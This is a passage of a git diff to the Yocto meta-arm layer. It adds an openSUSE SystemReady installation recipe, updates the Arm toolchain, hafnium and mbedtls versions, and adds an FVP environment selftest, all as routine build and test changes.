diff --git a/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros-opensuse.bb b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros-opensuse.bb
new file mode 100644
index 0000000000..13e4355d40
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros-opensuse.bb
@@ -0,0 +1,69 @@
+require arm-systemready-linux-distros.inc
+
+LICENSE = "AGPL-3.0-only & Apache-2.0 & Artistic-1.0 & Artistic-2.0 \
+ & BSD-2-Clause-Patent & BSD-2-Clause & BSD-3-Clause & BSD-4-Clause \
+ & CC-BY-3.0 & CC-BY-4.0 & CC-BY-SA-1.0 & CC-BY-SA-3.0 \
+ & CC-BY-SA-4.0 & CC0-1.0 & CDDL-1.0 & GFDL-1.1-only \
+ & GFDL-1.2-only & GFDL-1.3-only & GFDL-1.3-or-later \
+ & GPL-1.0-or-later & GPL-2.0-only & GPL-2.0-or-later \
+ & GPL-3.0-only & GPL-3.0-or-later & HPND & ICU & IPA \
+ & ISC & LGPL-2.0-only & LGPL-2.0-or-later & LGPL-2.1-only \
+ & LGPL-2.1-or-later & LGPL-3.0-only & LGPL-3.0-or-later \
+ & LPPL-1.3c & MIT & MPL-1.1 & MPL-2.0 & OFL-1.1 & OLDAP-2.8 \
+ & OpenSSL & Python-2.0 & Vim & W3C"
+
+LIC_FILES_CHKSUM = "\
+file://${COMMON_LICENSE_DIR}/AGPL-3.0-only;md5=73f1eb20517c55bf9493b7dd6e480788 \
+file://${COMMON_LICENSE_DIR}/Apache-2.0;md5=89aea4e17d99a7cacdbeed46a0096b10 \
+file://${COMMON_LICENSE_DIR}/Artistic-1.0;md5=cda03bbdc3c1951996392b872397b798 \
+file://${COMMON_LICENSE_DIR}/Artistic-2.0;md5=8bbc66f0ba93cec26ef526117e280266 \
+file://${COMMON_LICENSE_DIR}/BSD-2-Clause-Patent;md5=0518d409dae93098cca8dfa932f3ab1b \
+file://${COMMON_LICENSE_DIR}/BSD-2-Clause;md5=cb641bc04cda31daea161b1bc15da69f \
+file://${COMMON_LICENSE_DIR}/BSD-3-Clause;md5=550794465ba0ec5312d6919e203a55f9 \
+file://${COMMON_LICENSE_DIR}/BSD-4-Clause;md5=624d9e67e8ac41a78f6b6c2c55a83a2b \
+file://${COMMON_LICENSE_DIR}/CC-BY-3.0;md5=dfa02b5755629022e267f10b9c0a2ab7 \
+file://${COMMON_LICENSE_DIR}/CC-BY-4.0;md5=9b33bbd06fb58995fb0e299cd38d1838 \
+file://${COMMON_LICENSE_DIR}/CC-BY-SA-1.0;md5=681ffad43a0addd90f1bebf45675104e \
+file://${COMMON_LICENSE_DIR}/CC-BY-SA-3.0;md5=3248afbd148270ac7337a6f3e2558be5 \
+file://${COMMON_LICENSE_DIR}/CC-BY-SA-4.0;md5=4084714af41157e38872e798eb3fe1b1 \
+file://${COMMON_LICENSE_DIR}/CC0-1.0;md5=0ceb3372c9595f0a8067e55da801e4a1 \
+file://${COMMON_LICENSE_DIR}/CDDL-1.0;md5=d63dcc9297f2efd6c18d1e560b807bc6 \
+file://${COMMON_LICENSE_DIR}/GFDL-1.1-only;md5=03322744a1a73f36ebf29f98cced39a4 \
+file://${COMMON_LICENSE_DIR}/GFDL-1.2-only;md5=9f58808219e9a42ff1228309d6f83dc6 \
+file://${COMMON_LICENSE_DIR}/GFDL-1.3-only;md5=e0771ae6a62dc8a2e50b1d450fea66b7 \
+file://${COMMON_LICENSE_DIR}/GFDL-1.3-or-later;md5=e0771ae6a62dc8a2e50b1d450fea66b7 \
+file://${COMMON_LICENSE_DIR}/GPL-1.0-or-later;md5=30c0b8a5048cc2f4be5ff15ef0d8cf61 \
+file://${COMMON_LICENSE_DIR}/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6 \
+file://${COMMON_LICENSE_DIR}/GPL-2.0-or-later;md5=fed54355545ffd980b814dab4a3b312c \
+file://${COMMON_LICENSE_DIR}/GPL-3.0-only;md5=c79ff39f19dfec6d293b95dea7b07891 \
+file://${COMMON_LICENSE_DIR}/GPL-3.0-or-later;md5=1c76c4cc354acaac30ed4d5eefea7245 \
+file://${COMMON_LICENSE_DIR}/HPND;md5=faa364b3e3c6db0f74cc0e704ddf6b9c \
+file://${COMMON_LICENSE_DIR}/ICU;md5=4d85ad1f393add71dc66bcf78e3ee584 \
+file://${COMMON_LICENSE_DIR}/IPA;md5=17b18da2d8b2c43c598aa7583229ef1b \
+file://${COMMON_LICENSE_DIR}/ISC;md5=f3b90e78ea0cffb20bf5cca7947a896d \
+file://${COMMON_LICENSE_DIR}/LGPL-2.0-only;md5=9427b8ccf5cf3df47c29110424c9641a \
+file://${COMMON_LICENSE_DIR}/LGPL-2.0-or-later;md5=6d2d9952d88b50a51a5c73dc431d06c7 \
+file://${COMMON_LICENSE_DIR}/LGPL-2.1-only;md5=1a6d268fd218675ffea8be556788b780 \
+file://${COMMON_LICENSE_DIR}/LGPL-2.1-or-later;md5=2a4f4fd2128ea2f65047ee63fbca9f68 \
+file://${COMMON_LICENSE_DIR}/LGPL-3.0-only;md5=bfccfe952269fff2b407dd11f2f3083b \
+file://${COMMON_LICENSE_DIR}/LGPL-3.0-or-later;md5=c51d3eef3be114124d11349ca0d7e117 \
+file://${COMMON_LICENSE_DIR}/LPPL-1.3c;md5=ba2fa6fe055623756de43a298d88a8b3 \
+file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302 \
+file://${COMMON_LICENSE_DIR}/MPL-1.1;md5=1d38e87ed8d522c49f04e1efe0fab3ab \
+file://${COMMON_LICENSE_DIR}/MPL-2.0;md5=815ca599c9df247a0c7f619bab123dad \
+file://${COMMON_LICENSE_DIR}/OFL-1.1;md5=fac3a519e5e9eb96316656e0ca4f2b90 \
+file://${COMMON_LICENSE_DIR}/OLDAP-2.8;md5=bb28ada4fbb5c3f52c233899b2e410a5 \
+file://${COMMON_LICENSE_DIR}/OpenSSL;md5=4eb1764f3e65fafa1a25057f9082f2ae \
+file://${COMMON_LICENSE_DIR}/Python-2.0;md5=a5c8025e305fb49e6d405769358851f6 \
+file://${COMMON_LICENSE_DIR}/Vim;md5=676d28582e2dca824e7e309a9865eeb1 \
+file://${COMMON_LICENSE_DIR}/W3C;md5=4b1d0384b406508a63e51f7c69687700 \
+"
+
+ARM_SYSTEMREADY_LINUX_DISTRO_INSTALL_SIZE = "6144"
+
+PV = "15.4"
+# possible value of ISO_TYPE: NET, DVD
+ISO_TYPE = "DVD"
+BUILD_NO = "243.2"
+SRC_URI = "https://download.opensuse.org/distribution/leap/${PV}/iso/openSUSE-Leap-${PV}-${ISO_TYPE}-aarch64-Build${BUILD_NO}-Media.iso;unpack=0;downloadfilename=${ISO_IMAGE_NAME}.iso"
+SRC_URI[sha256sum] = "d87f79b2b723f9baaeedd9e2be0365c04081e51a4f7f7f08c7ab3eee0c3e0fae"
diff --git a/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros.inc b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros.inc
new file mode 100644
index 0000000000..e247a42799
--- /dev/null
+++ b/meta-arm/meta-arm-systemready/recipes-test/arm-systemready-linux-distros/arm-systemready-linux-distros.inc
@@ -0,0 +1,50 @@
+SUMMARY = "Arm SystemReady Linux distros installation"
+DESCRIPTION = "Arm SystemReady Linux distro CD/DVD images and installation \
+ target disk image"
+
+IMAGE_CLASSES:remove = "license_image testimage"
+
+INHIBIT_DEFAULT_DEPS = "1"
+COMPATIBLE_HOST = "aarch64-*"
+PACKAGE_ARCH = "${TARGET_ARCH}"
+
+inherit nopackages deploy rootfs-postcommands ${IMAGE_CLASSES}
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+
+ISO_IMAGE_NAME = "${PN}-${PV}"
+IMAGE_LINK_NAME = "${PN}-${PV}-${MACHINE}"
+
+ARM_SYSTEMREADY_LINUX_DISTRO_ISO_IMAGE = \
+ "${DEPLOY_DIR_IMAGE}/${ISO_IMAGE_NAME}.iso"
+# Size of installation disk in MB
+ARM_SYSTEMREADY_LINUX_DISTRO_INSTALL_SIZE ?= "4096"
+
+do_image() {
+ dd if=/dev/zero of=${WORKDIR}/${IMAGE_LINK_NAME}.wic \
+ bs=1M count=${ARM_SYSTEMREADY_LINUX_DISTRO_INSTALL_SIZE} status=none
+}
+
+do_deploy() {
+ # Deploy the iso and installation target disk image to the deploy folder
+ install -m 644 ${WORKDIR}/${ISO_IMAGE_NAME}.iso ${DEPLOYDIR}
+ install -m 644 ${WORKDIR}/${IMAGE_LINK_NAME}.wic ${DEPLOYDIR}
+}
+
+addtask image before do_install
+addtask deploy after do_install before do_image_complete
+
+# Post-process commands may write to IMGDEPLOYDIR
+IMGDEPLOYDIR = "${DEPLOY_DIR_IMAGE}"
+
+python do_image_complete() {
+ # Run the image post-process commands
+ from oe.utils import execute_pre_post_process
+ post_process_cmds = d.getVar("IMAGE_POSTPROCESS_COMMAND")
+ execute_pre_post_process(d, post_process_cmds)
+}
+do_image_complete[nostamp] = "1"
+addtask image_complete after do_deploy before do_build
+
+do_install[depends] += "arm-systemready-firmware:do_image_complete"
diff --git a/meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-aarch64-none-elf_12.3.rel1.bb b/meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-aarch64-none-elf_13.2.Rel1.bb
index 7d06f2911a..890efa7d0f 100644
--- a/meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-aarch64-none-elf_12.3.rel1.bb
+++ b/meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-aarch64-none-elf_13.2.Rel1.bb
@@ -8,12 +8,12 @@ COMPATIBLE_HOST = "(x86_64|aarch64).*-linux"
SUMMARY = "Arm GNU Toolchain - AArch64 bare-metal target (aarch64-none-elf)"
LICENSE = "GPL-3.0-with-GCC-exception & GPL-3.0-only"
-LIC_FILES_CHKSUM:aarch64 = "file://share/doc/gcc/Copying.html;md5=0aef214b835259b64f026f4ad00c703e"
-LIC_FILES_CHKSUM:x86-64 = "file://share/doc/gcc/Copying.html;md5=7ba3bc8ef145b48e2756a844db2029a3"
+LIC_FILES_CHKSUM:aarch64 = "file://share/doc/gcc/Copying.html;md5=402090210d41f07263e91f760d0d1ea3"
+LIC_FILES_CHKSUM:x86-64 = "file://share/doc/gcc/Copying.html;md5=2a62a4d37ddad55da732679acd9edf03"
SRC_URI = "https://developer.arm.com/-/media/Files/downloads/gnu/${PV}/binrel/arm-gnu-toolchain-${PV}-${HOST_ARCH}-${BINNAME}.tar.xz;name=gcc-${HOST_ARCH}"
-SRC_URI[gcc-aarch64.sha256sum] = "76ba68db4390b50f0a16386c6a011ec611a35a517ae40b7be008ca7920cfa59f"
-SRC_URI[gcc-x86_64.sha256sum] = "382c8c786285e415bc0ff4df463e101f76d6f69a894b03f132368147c37f0ba7"
+SRC_URI[gcc-aarch64.sha256sum] = "f3871c0d91a7375834eb43eb758f4df6d8dadf20ad9deca2eb569d5599d98e89"
+SRC_URI[gcc-x86_64.sha256sum] = "7fe7b8548258f079d6ce9be9144d2a10bd2bf93b551dafbf20fe7f2e44e014b8"
S = "${WORKDIR}/arm-gnu-toolchain-${PV}-${HOST_ARCH}-${BINNAME}"
diff --git a/meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-arm-none-eabi_12.3.rel1.bb b/meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-arm-none-eabi_13.2.Rel1.bb
index 6c33ec65b5..00390b5875 100644
--- a/meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-arm-none-eabi_12.3.rel1.bb
+++ b/meta-arm/meta-arm-toolchain/recipes-devtools/external-arm-toolchain/gcc-arm-none-eabi_13.2.Rel1.bb
@@ -8,12 +8,12 @@ COMPATIBLE_HOST = "(x86_64|aarch64).*-linux"
SUMMARY = "Arm GNU Toolchain - AArch32 bare-metal target (arm-none-eabi)"
LICENSE = "GPL-3.0-with-GCC-exception & GPL-3.0-only"
-LIC_FILES_CHKSUM:aarch64 = "file://share/doc/gcc/Copying.html;md5=0aef214b835259b64f026f4ad00c703e"
-LIC_FILES_CHKSUM:x86-64 = "file://share/doc/gcc/Copying.html;md5=7ba3bc8ef145b48e2756a844db2029a3"
+LIC_FILES_CHKSUM:aarch64 = "file://share/doc/gcc/Copying.html;md5=402090210d41f07263e91f760d0d1ea3"
+LIC_FILES_CHKSUM:x86-64 = "file://share/doc/gcc/Copying.html;md5=2a62a4d37ddad55da732679acd9edf03"
SRC_URI = "https://developer.arm.com/-/media/Files/downloads/gnu/${PV}/binrel/arm-gnu-toolchain-${PV}-${HOST_ARCH}-${BINNAME}.tar.xz;name=gcc-${HOST_ARCH}"
-SRC_URI[gcc-aarch64.sha256sum] = "14c0487d5753f6071d24e568881f7c7e67f80dd83165dec5164b3731394af431"
-SRC_URI[gcc-x86_64.sha256sum] = "12a2815644318ebcceaf84beabb665d0924b6e79e21048452c5331a56332b309"
+SRC_URI[gcc-aarch64.sha256sum] = "8fd8b4a0a8d44ab2e195ccfbeef42223dfb3ede29d80f14dcf2183c34b8d199a"
+SRC_URI[gcc-x86_64.sha256sum] = "6cd1bbc1d9ae57312bcd169ae283153a9572bd6a8e4eeae2fedfbc33b115fdbb"
S = "${WORKDIR}/arm-gnu-toolchain-${PV}-${HOST_ARCH}-${BINNAME}"
diff --git a/meta-arm/meta-arm/conf/machine/generic-arm64.conf b/meta-arm/meta-arm/conf/machine/generic-arm64.conf
index 2e82e86a3b..9594e04171 100644
--- a/meta-arm/meta-arm/conf/machine/generic-arm64.conf
+++ b/meta-arm/meta-arm/conf/machine/generic-arm64.conf
@@ -18,7 +18,6 @@ EFI_PROVIDER ?= "${@bb.utils.contains("DISTRO_FEATURES", "systemd", "systemd-boo
MACHINE_FEATURES:append = " alsa bluetooth efi qemu-usermode rtc screen usbhost vfat wifi"
SERIAL_CONSOLES ?= "115200;ttyAMA0 115200;hvc0"
-SERIAL_CONSOLES_CHECK = "${SERIAL_CONSOLES}"
XSERVER ?= "xserver-xorg \
xf86-video-fbdev \
diff --git a/meta-arm/meta-arm/lib/fvp/runner.py b/meta-arm/meta-arm/lib/fvp/runner.py
index 7ca3673d07..e7c1358553 100644
--- a/meta-arm/meta-arm/lib/fvp/runner.py
+++ b/meta-arm/meta-arm/lib/fvp/runner.py
@@ -100,7 +100,7 @@ class FVPRunner:
env[name] = os.environ[name]
# Allow filepath to be relative to fvp configuration file
- cwd = os.path.dirname(fvpconf)
+ cwd = os.path.dirname(fvpconf) or None
self._logger.debug(f"FVP call will be executed in working directory: {cwd}")
self._logger.debug(f"Constructed FVP call: {shlex_join(cli)}")
diff --git a/meta-arm/meta-arm/lib/oeqa/selftest/cases/runfvp.py b/meta-arm/meta-arm/lib/oeqa/selftest/cases/runfvp.py
index d60aa3c40a..c995f89e8c 100644
--- a/meta-arm/meta-arm/lib/oeqa/selftest/cases/runfvp.py
+++ b/meta-arm/meta-arm/lib/oeqa/selftest/cases/runfvp.py
@@ -1,4 +1,3 @@
-import asyncio
import os
import json
import pathlib
@@ -7,15 +6,17 @@ import tempfile
import unittest.mock
from oeqa.selftest.case import OESelftestTestCase
+from oeqa.core.decorator import OETestTag
runfvp = pathlib.Path(__file__).parents[5] / "scripts" / "runfvp"
testdir = pathlib.Path(__file__).parent / "tests"
+@OETestTag("meta-arm")
class RunFVPTests(OESelftestTestCase):
def setUpLocal(self):
self.assertTrue(runfvp.exists())
- def run_fvp(self, *args, should_succeed=True):
+ def run_fvp(self, *args, env=None, should_succeed=True):
"""
Call runfvp passing any arguments. If check is True verify return stdout
on exit code 0 or fail the test, otherwise return the CompletedProcess
@@ -24,7 +25,7 @@ class RunFVPTests(OESelftestTestCase):
cli = [runfvp,] + list(args)
print(f"Calling {cli}")
# Set cwd to testdir so that any mock FVPs are found
- ret = subprocess.run(cli, cwd=testdir, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
+ ret = subprocess.run(cli, cwd=testdir, env=env, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
if should_succeed:
self.assertEqual(ret.returncode, 0, f"runfvp exit {ret.returncode}, output: {ret.stdout}")
return ret.stdout
@@ -51,6 +52,11 @@ class RunFVPTests(OESelftestTestCase):
# test-parameter sets one argument, add another manually
self.run_fvp(testdir / "test-parameter.json", "--", "--parameter", "board.dog=woof")
+ def test_fvp_environment(self):
+ output = self.run_fvp(testdir / "test-environment.json", env={"DISPLAY": "test_fvp_environment:42"})
+ self.assertEqual(output.strip(), "Found expected DISPLAY")
+
+@OETestTag("meta-arm")
class ConfFileTests(OESelftestTestCase):
def test_no_exe(self):
from fvp import conffile
@@ -80,6 +86,7 @@ class ConfFileTests(OESelftestTestCase):
self.assertTrue("env" in conf)
+@OETestTag("meta-arm")
class RunnerTests(OESelftestTestCase):
def create_mock(self):
return unittest.mock.patch("subprocess.Popen")
diff --git a/meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/mock-fvp.py b/meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/mock-fvp.py
index 2213c9f049..6cf8e4548e 100755
--- a/meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/mock-fvp.py
+++ b/meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/mock-fvp.py
@@ -2,12 +2,19 @@
import argparse
import sys
+import os
def do_test_parameters(args):
if not args.parameter or set(args.parameter) != set(("board.cow=moo", "board.dog=woof")):
print(f"Unexpected arguments: {args}")
sys.exit(1)
+def do_test_environment(args):
+ if os.environ.get("DISPLAY") == "test_fvp_environment:42":
+ print("Found expected DISPLAY")
+ else:
+ print("Got unexpected environment %s" % str(os.environ))
+ sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
diff --git a/meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/test-environment.json b/meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/test-environment.json
new file mode 100644
index 0000000000..6e23855b06
--- /dev/null
+++ b/meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/test-environment.json
@@ -0,0 +1,4 @@
+{
+ "fvp-bindir": ".",
+ "exe": "test-environment.py"
+}
diff --git a/meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/test-environment.py b/meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/test-environment.py
new file mode 120000
index 0000000000..c734eeca27
--- /dev/null
+++ b/meta-arm/meta-arm/lib/oeqa/selftest/cases/tests/test-environment.py
@@ -0,0 +1 @@
+mock-fvp.py \ No newline at end of file
diff --git a/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-Use-pkg-config-native-to-find-the-libssl-headers.patch b/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-Use-pkg-config-native-to-find-the-libssl-headers.patch
index a9a487f0cd..cfb534d45c 100644
--- a/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-Use-pkg-config-native-to-find-the-libssl-headers.patch
+++ b/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-Use-pkg-config-native-to-find-the-libssl-headers.patch
@@ -1,4 +1,4 @@
-From 60b8c4e852cbe76c383d5c495ecc8aeb84b407b6 Mon Sep 17 00:00:00 2001
+From 1c1e7ca2874feaa3e447dce578487d42c226ef46 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@arm.com>
Date: Sat, 17 Jul 2021 14:38:02 -0500
Subject: [PATCH] Use pkg-config-native to find the libssl headers.
@@ -10,7 +10,7 @@ Signed-off-by: Ross Burton <ross.burton@arm.com>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/scripts/Makefile b/scripts/Makefile
-index 9adb6d247..5fe371c7d 100644
+index 9adb6d247818..5fe371c7d7f5 100644
--- a/scripts/Makefile
+++ b/scripts/Makefile
@@ -3,8 +3,8 @@
diff --git a/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-arm-hafnium-fix-kernel-tool-linking.patch b/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-arm-hafnium-fix-kernel-tool-linking.patch
index d4fe49ae6e..6f91ecfed5 100644
--- a/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-arm-hafnium-fix-kernel-tool-linking.patch
+++ b/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-arm-hafnium-fix-kernel-tool-linking.patch
@@ -1,4 +1,4 @@
-From ef156578c1f7100b339ddfe956ff2cd89d61e0d4 Mon Sep 17 00:00:00 2001
+From c17aabb2535d791a715130f21178946ab9c1e29d Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@arm.com>
Date: Tue, 9 Nov 2021 23:31:22 +0000
Subject: [PATCH] arm/hafnium: fix kernel tool linking
diff --git a/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-work-around-visibility-issue.patch b/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-work-around-visibility-issue.patch
index 62c5ec1f09..dc0c35fe44 100644
--- a/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-work-around-visibility-issue.patch
+++ b/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0001-work-around-visibility-issue.patch
@@ -1,4 +1,4 @@
-From 4f1ab5944c1042a141a2ce16ec8bf1d12749e41a Mon Sep 17 00:00:00 2001
+From 745294ffa9bb9296eb4250f24dd0ae8115fadd7a Mon Sep 17 00:00:00 2001
From: Jon Mason <jon.mason@arm.com>
Date: Thu, 27 Oct 2022 20:10:09 +0000
Subject: [PATCH] work around visibility issue
@@ -16,7 +16,7 @@ Signed-off-by: Jon Mason <jon.mason@arm.com>
1 file changed, 1 deletion(-)
diff --git a/BUILD.gn b/BUILD.gn
-index f55560c..d60c3e3 100644
+index f55560c540de..d60c3e37135b 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -5,7 +5,6 @@
diff --git a/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0002-Fix-build-with-clang-15.patch b/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0002-Fix-build-with-clang-15.patch
deleted file mode 100644
index c305e97bfd..0000000000
--- a/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium/0002-Fix-build-with-clang-15.patch
+++ /dev/null
@@ -1,101 +0,0 @@
-From 960d022fa69568752a58b6f5d78e9759b54cff68 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 22 Sep 2022 19:13:49 -0700
-Subject: [PATCH] Fix build with clang-15
-
-Clang-15 warns about prototypes a bit harder
-Remove unused variable suites_in_image
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- test/hftest/common.c | 2 --
- test/vmapi/arch/aarch64/gicv3/inc/gicv3.h | 2 +-
- test/vmapi/arch/aarch64/gicv3/timer_secondary.c | 2 +-
- test/vmapi/el0_partitions/services/interruptible.c | 2 +-
- test/vmapi/el0_partitions/services/interruptible_echo.c | 2 +-
- test/vmapi/primary_with_secondaries/services/interruptible.c | 2 +-
- 6 files changed, 5 insertions(+), 7 deletions(-)
-
-diff --git a/test/hftest/common.c b/test/hftest/common.c
-index 344ff2452c36..175230a7cfa7 100644
---- a/test/hftest/common.c
-+++ b/test/hftest/common.c
-@@ -67,7 +67,6 @@ void hftest_json(void)
- {
- const char *suite = NULL;
- size_t i;
-- size_t suites_in_image = 0;
- size_t tests_in_suite = 0;
-
- HFTEST_LOG("{");
-@@ -81,7 +80,6 @@ void hftest_json(void)
- HFTEST_LOG(" },");
- }
- /* Move onto new suite. */
-- ++suites_in_image;
- suite = test->suite;
- tests_in_suite = 0;
- HFTEST_LOG(" {");
-diff --git a/test/vmapi/arch/aarch64/gicv3/inc/gicv3.h b/test/vmapi/arch/aarch64/gicv3/inc/gicv3.h
-index 28bf29d412f4..dede047a381a 100644
---- a/test/vmapi/arch/aarch64/gicv3/inc/gicv3.h
-+++ b/test/vmapi/arch/aarch64/gicv3/inc/gicv3.h
-@@ -30,4 +30,4 @@ extern void *recv_buffer;
-
- extern volatile uint32_t last_interrupt_id;
-
--void gicv3_system_setup();
-+void gicv3_system_setup(void);
-diff --git a/test/vmapi/arch/aarch64/gicv3/timer_secondary.c b/test/vmapi/arch/aarch64/gicv3/timer_secondary.c
-index 0ac07f4411df..6264a5864721 100644
---- a/test/vmapi/arch/aarch64/gicv3/timer_secondary.c
-+++ b/test/vmapi/arch/aarch64/gicv3/timer_secondary.c
-@@ -55,7 +55,7 @@ TEAR_DOWN(timer_secondary_ffa)
- EXPECT_FFA_ERROR(ffa_rx_release(), FFA_DENIED);
- }
-
--static void timer_busywait_secondary()
-+static void timer_busywait_secondary(void)
- {
- const char message[] = "loop 0099999";
- const char expected_response[] = "Got IRQ 03.";
-diff --git a/test/vmapi/el0_partitions/services/interruptible.c b/test/vmapi/el0_partitions/services/interruptible.c
-index 85c97dc7a857..80fc61b2e5a9 100644
---- a/test/vmapi/el0_partitions/services/interruptible.c
-+++ b/test/vmapi/el0_partitions/services/interruptible.c
-@@ -44,7 +44,7 @@ static void irq(void)
- * Try to receive a message from the mailbox, blocking if necessary, and
- * retrying if interrupted.
- */
--static struct ffa_value mailbox_receive_retry()
-+static struct ffa_value mailbox_receive_retry(void)
- {
- struct ffa_value received;
-
-diff --git a/test/vmapi/el0_partitions/services/interruptible_echo.c b/test/vmapi/el0_partitions/services/interruptible_echo.c
-index 958d75090cce..55511d6a2bce 100644
---- a/test/vmapi/el0_partitions/services/interruptible_echo.c
-+++ b/test/vmapi/el0_partitions/services/interruptible_echo.c
-@@ -33,7 +33,7 @@ static void irq(void)
- * Try to receive a message from the mailbox, blocking if necessary, and
- * retrying if interrupted.
- */
--static struct ffa_value mailbox_receive_retry()
-+static struct ffa_value mailbox_receive_retry(void)
- {
- struct ffa_value received;
-
-diff --git a/test/vmapi/primary_with_secondaries/services/interruptible.c b/test/vmapi/primary_with_secondaries/services/interruptible.c
-index 594f28ac8bc8..3888bf8b0b6e 100644
---- a/test/vmapi/primary_with_secondaries/services/interruptible.c
-+++ b/test/vmapi/primary_with_secondaries/services/interruptible.c
-@@ -41,7 +41,7 @@ static void irq(void)
- * Try to receive a message from the mailbox, blocking if necessary, and
- * retrying if interrupted.
- */
--struct ffa_value mailbox_receive_retry()
-+struct ffa_value mailbox_receive_retry(void)
- {
- struct ffa_value received;
-
diff --git a/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium_2.8.bb b/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium_2.9.bb
index 5302725638..0997448fbd 100644
--- a/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium_2.8.bb
+++ b/meta-arm/meta-arm/recipes-bsp/hafnium/hafnium_2.9.bb
@@ -15,11 +15,10 @@ inherit deploy python3native pkgconfig ${CLANGNATIVE}
SRC_URI = "gitsm://git.trustedfirmware.org/hafnium/hafnium.git;protocol=https;branch=master \
file://0001-arm-hafnium-fix-kernel-tool-linking.patch \
- file://0002-Fix-build-with-clang-15.patch \
file://0001-Use-pkg-config-native-to-find-the-libssl-headers.patch;patchdir=third_party/linux \
file://0001-work-around-visibility-issue.patch;patchdir=third_party/dtc \
"
-SRCREV = "b7d27acb9c63a52f8bd8a37d1eee335d4ccfbe93"
+SRCREV = "0715b8e002cdfb92e6b7efb71128cb24557b70cb"
S = "${WORKDIR}/git"
B = "${WORKDIR}/build"
diff --git a/meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a.inc b/meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a.inc
index 4d3b0badb7..2bdf2211be 100644
--- a/meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a.inc
+++ b/meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a.inc
@@ -103,9 +103,9 @@ def remove_options_tail (in_string):
from itertools import takewhile
return ' '.join(takewhile(lambda x: not x.startswith('-'), in_string.split(' ')))
-EXTRA_OEMAKE += "LD=${@remove_options_tail(d.getVar('LD'))}"
+EXTRA_OEMAKE += "LD='${@remove_options_tail(d.getVar('LD'))}'"
-EXTRA_OEMAKE += "CC=${@remove_options_tail(d.getVar('CC'))}"
+EXTRA_OEMAKE += "CC='${@remove_options_tail(d.getVar('CC'))}'"
# Verbose builds, no -Werror
EXTRA_OEMAKE += "V=1 E=0"
diff --git a/meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a_2.9.0.bb b/meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a_2.9.0.bb
index 8f78b5e70f..5e52695810 100644
--- a/meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a_2.9.0.bb
+++ b/meta-arm/meta-arm/recipes-bsp/trusted-firmware-a/trusted-firmware-a_2.9.0.bb
@@ -10,8 +10,8 @@ SRC_URI:append:qemuarm64-secureboot = " \
LIC_FILES_CHKSUM += "file://docs/license.rst;md5=b2c740efedc159745b9b31f88ff03dde"
-# mbed TLS v2.28.4
-SRC_URI_MBEDTLS = "git://github.com/ARMmbed/mbedtls.git;name=mbedtls;protocol=https;destsuffix=git/mbedtls;branch=mbedtls-2.28"
-SRCREV_mbedtls = "aeb97a18913a86f051afab11b2c92c6be0c2eb83"
+# mbedtls-3.4.0
+SRC_URI_MBEDTLS = "git://github.com/ARMmbed/mbedtls.git;name=mbedtls;protocol=https;destsuffix=git/mbedtls;branch=master"
